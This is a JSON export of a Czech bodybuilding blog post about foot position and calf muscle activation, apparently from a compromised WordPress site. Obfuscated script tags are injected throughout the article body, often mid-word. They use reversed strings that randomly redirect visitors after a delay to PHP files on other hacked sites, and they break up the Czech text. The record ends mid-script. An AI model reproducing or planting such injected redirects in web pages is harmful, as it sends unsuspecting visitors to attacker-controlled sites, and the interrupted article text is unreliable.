{"id":924,"date":"2023-09-30T15:58:37","date_gmt":"2023-09-30T15:58:37","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=924"},"modified":"2023-09-30T15:58:39","modified_gmt":"2023-09-30T15:58:39","slug":"poloha-chodidel-vs-aktivace-lytek","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/09\/30\/poloha-chodidel-vs-aktivace-lytek\/","title":{"rendered":"<strong>POLOHA CHODIDEL vs. AKTIVACE L\u00ddTEK<\/strong>"},"content":{"rendered":"\n<p><strong>V&nbsp;sout\u011b\u017ei o svalovou partii, kter\u00e1 nejl\u00e9pe odol\u00e1v\u00e1 budov\u00e1n\u00ed hmoty, by se l\u00fdtka bezpochyby um\u00edstila na medailov\u00fdch pozic\u00edch. Maximalizovat rozvoj t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to svalov\u00e9 skupiny je pro mnoho z\u00e1vodn\u00edk\u016f c\u00edlem \u010d\u00edslo jedna. A v&nbsp;jejich tr\u00e9ninku pak samoz\u0159ejm\u011b nechyb\u00ed obl\u00edben\u00e9 v\u00fdpony na l\u00fdtka. Obvykle prov\u00e1d\u011bn\u00e9 v&nbsp;cel\u00e9 \u0159ad\u011b variac\u00ed v\u010detn\u011b vyt\u00e1\u010den\u00ed chodidel. Ur\u010dit\u011b u\u017e jste se setkali s&nbsp;n\u00e1zorem, \u017ee poloha chodidla p\u0159i v\u00fdponu zajist\u00ed zv\u00fd\u0161enou aktivaci ur\u010dit\u00e9 partie l\u00fdtkov\u00e9ho svalu.<\/strong><\/p>\n\n\n\n<p>V\u00edte ale, jak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ve skute\u010dnosti funguje? Jste schopni b\u011bhem cvi\u010den\u00ed proc\u00edtit ty spr\u00e1vn\u00e9 oblasti l\u00fdtek? M\u00e1te dostate\u010dn\u00e9 znalosti ana<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomie na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, abyste mohli tr\u00e9nink vyladit a\u017e do tak drobn\u00fdch detail\u016f?<\/p>\n\n\n\n<p>Bezpochyby pro v\u00e1s nebude novinkou, \u017ee l\u00fdtko je tvo\u0159eno dv\u011bma hlavn\u00edmi svaly. T\u00edm prvn\u00edm je gastrocnemius (dvojhlav\u00fd sval l\u00fdtkov\u00fd) \u2013 sval troj\u00faheln\u00edkov\u00e9ho tvaru, dob\u0159e viditeln\u00fd zezadu, kdy\u017e zatnete l\u00fdtko. Up\u00edn\u00e1 se v&nbsp;horn\u00ed \u010d\u00e1sti ke stehenn\u00ed kosti a dole pak Achillovou \u0161lachou ke kosti patn\u00ed. Druh\u00fdm svalem je soleus (\u0161ikm\u00fd sval l\u00fdtkov\u00fd), jeho\u017e horn\u00ed \u00fapon vede od holenn\u00ed kosti dol\u016f ke kosti patn\u00ed. Zat\u00edmco gastrocnemius je mo\u017en\u00e9 aktivovat pohybem v&nbsp;kloubu kolenn\u00edm i v&nbsp;kotn\u00edku, soleus je typick\u00fdm \u201ejednokloubn\u00edm\u201c svalem.<\/p>\n\n\n\n<p>Gastrocnemius si m\u016f\u017eeme rozd\u011blit do dvou \u010d\u00e1st\u00ed (hlav) \u2013 na st\u0159edn\u00ed (vnit\u0159n\u00ed partie svalu) a bo\u010dn\u00ed (vn\u011bj\u0161\u00ed partie svalu). U soleu se s&nbsp;\u017e\u00e1dn\u00fdm dal\u0161\u00edm d\u011blen\u00edm obvykle nesetk\u00e1te. Gastrocnemius coby dvojhlav\u00fd sval je t\u00edm p\u00e1dem mo\u017en\u00e9 aktivovat s&nbsp;d\u016frazem na jednu \u010di druhou hlavu a zde opravdu z\u00e1le\u017e\u00ed na poloze kolene a kotn\u00edku. T\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to problematice se v\u011bnovala studie, jej\u00ed\u017e v\u00fdsledky p\u0159inesl \u010dasopis Strength and Conditioning Research. V\u011bdci m\u011b\u0159ili svalovou aktivitu gastrocnemiu p\u0159i proveden\u00ed v\u00fdpon\u016f na l\u00fdtka s&nbsp;chodidly v&nbsp;n\u00e1sleduj\u00edc\u00edch poloh\u00e1ch: vnit\u0159n\u00ed rotace (\u0161pi\u010dky sm\u011b\u0159uj\u00ed k&nbsp;sob\u011b), vn\u011bj\u0161\u00ed rotace (\u0161pi\u010dky sm\u011b\u0159uj\u00ed od sebe) a neutr\u00e1ln\u00ed pozici (chodidla jsou rovnob\u011b\u017en\u011b vedle sebe). Pomoc\u00ed elektromyografick\u00e9ho (EMG) vy\u0161et\u0159en\u00ed byla m\u011b\u0159ena aktivita svalu b\u011bhem s\u00e9rie o 12 opakov\u00e1n\u00edch v&nbsp;dan\u00e9 pozici.&nbsp; A k&nbsp;jak\u00fdm zji\u0161t\u011bn\u00edm v\u011bdci do\u0161li? Bo\u010dn\u00ed hlava gastrocnemia vykazovala vy\u0161\u0161\u00ed aktivitu p\u0159i vnit\u0159n\u00ed rotaci, zat\u00edmco st\u0159edn\u00ed hlava se maxim\u00e1ln\u011b zapojila p\u0159i vn\u011bj\u0161\u00ed rotaci. Neutr\u00e1ln\u00ed pozice chodidel vykazovala shodnou aktivitu obou hlav l\u00fdtkov\u00e9ho svalu. Odborn\u00edci tak v&nbsp;podstat\u011b potvrdili <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, v&nbsp;co spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci doufaj\u00ed ji\u017e \u0159adu desetilet\u00ed \u2013 \u017ee zm\u011bnou polohy chodidel je mo\u017en\u00e9 aktivovat r\u016fzn\u00e9 partie l\u00fdtkov\u00e9ho svalu.<\/p>\n\n\n\n<p>Jen by bylo dobr\u00e9 si uv\u011bdomit, \u017ee t\u00edm nedoch\u00e1z\u00ed k&nbsp;naprost\u00e9 izolaci dan\u00e9 \u010d\u00e1sti svalu. Pracuj\u00ed v\u017edy ob\u011b hlavy bez ohledu na polohu chodidel. Nam\u011b\u0159en\u00fd rozd\u00edl v&nbsp;aktivaci byl zhruba 10-15 %.<\/p>\n\n\n\n<p>To znamen\u00e1, \u017ee bo\u010dn\u00ed hlava svalu pracuje p\u0159i vnit\u0159n\u00ed rotaci zhruba o 10-15 % v\u00edce ne\u017e hlava st\u0159edn\u00ed. Zat\u00edmco st\u0159edn\u00ed hlava je p\u0159i vn\u011bj\u0161\u00ed rotaci aktivov\u00e1na o 10-15 % v\u00edce ne\u017e hlava bo\u010dn\u00ed.<\/p>\n\n\n\n<p>Efekt p\u0159i zm\u011bn\u011b polohy chodidel zde tedy n\u011bjak\u00fd je, ale nejde o typickou izolaci ani o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee by jedna hlava p\u0159evzala v\u011bt\u0161inu z\u00e1t\u011b\u017ee.\u00a0 Spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce ale bude zaj\u00edmat p\u0159edev\u0161\u00edm\u2026<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" data-id=\"927\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web1-683x1024.jpg\" alt=\"\" class=\"wp-image-927\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web1-683x1024.jpg 683w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web1-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web1-768x1152.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web1.jpg 800w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" data-id=\"926\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web2-683x1024.jpg\" alt=\"\" class=\"wp-image-926\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web2-683x1024.jpg 683w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web2-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web2-768x1152.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web2.jpg 800w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" data-id=\"925\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web3-683x1024.jpg\" alt=\"\" class=\"wp-image-925\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web3-683x1024.jpg 683w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web3-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web3-768x1152.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/09\/lytka-web3.jpg 800w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n<\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Projev\u00ed se zm\u011bna polohy chodidel v\u00a0lep\u0161\u00edm svalov\u00e9m rozvoji?<\/h4>\n\n\n\n<p>V\u011bdci se samoz\u0159ejm\u011b zaob\u00edrali i ot\u00e1zkou, jestli v\u00fdrazn\u011bj\u0161\u00ed aktivace dan\u00e9 \u010d\u00e1sti svalu p\u0159ech\u00e1z\u00ed tak\u00e9 do zv\u00fd\u0161en\u00e9 hypertrofie, tzn. do n\u00e1r\u016fstu svalov\u00e9 hmoty v&nbsp;dan\u00e9 oblasti. V&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to smyslu ale nebyly v\u00fdsledky studie dostate\u010dn\u011b pr\u016fkazn\u00e9. V&nbsp;podstat\u011b tedy nezb\u00fdv\u00e1 ne\u017e doufat, \u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu tak bude. Nav\u00edc, pokud se sna\u017e\u00edte maximalizovat v\u00fdsledky tr\u00e9ninku l\u00fdtek, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee jde o va\u0161i probl\u00e9movou svalovou partii, bezpochyby budete vd\u011b\u010dn\u00ed i za drobn\u00e9 pokroky.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>A co soleus?<\/strong><\/h4>\n\n\n\n<p>Trochu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vypad\u00e1, \u017ee jsme na n\u011bj zapomn\u011bli. Ale velikostn\u011b drobn\u011bj\u0161\u00ed soleus nen\u00ed polohou chodidel nijak ovlivn\u011bn. Rozd\u00edly v&nbsp;aktivaci gastrocnemia a soleu tedy vych\u00e1z\u00ed z&nbsp;jin\u00fdch aspekt\u016f. A t\u00edm hlavn\u00edm je poloha kolen. Soleus je sval proch\u00e1zej\u00edc\u00ed pouze p\u0159es jeden kloub (kotn\u00edk), je tedy vysoce aktivn\u00ed p\u0159i cvic\u00edch prov\u00e1d\u011bn\u00fdch s&nbsp;pokr\u010den\u00fdmi koleny. Gastrocnemius je ov\u0161em v&nbsp;t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to poloze zkr\u00e1cen\u00fd a t\u00edm ztr\u00e1c\u00ed \u010d\u00e1st sv\u00e9 s\u00edly. Jednodu\u0161e \u0159e\u010deno <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamen\u00e1, \u017ee v\u00fdpony vsed\u011b s&nbsp;pokr\u010den\u00fdmi koleny se zam\u011b\u0159uj\u00ed v\u00edce na soleus, zat\u00edmco cviky prov\u00e1d\u011bn\u00e9 ve s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toji (v\u00fdpony, osl\u00ed v\u00fdpony atd.) aktivuj\u00ed jak gastrocnemius tak soleus.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Jak informace vyu\u017e\u00edt p\u0159i sestavov\u00e1n\u00ed tr\u00e9ninku l\u00fdtek<\/strong><\/h4>\n\n\n\n<p><strong>Dozv\u011bd\u011bli jste se, \u017ee\u2026<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>jednotliv\u00e9 hlavy gastrocnemia je mo\u017en\u00e9 v\u00edce \u010di m\u00e9n\u011b aktivovat pomoc\u00ed zm\u011bny polohy chodidel (vnit\u0159n\u00ed, vn\u011bj\u0161\u00ed rotace \u0161pi\u010dek);<\/li>\n\n\n\n<li>pokud jsou chodidla v&nbsp;neutr\u00e1ln\u00ed pozici, pracuj\u00ed ob\u011b hlavy <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var 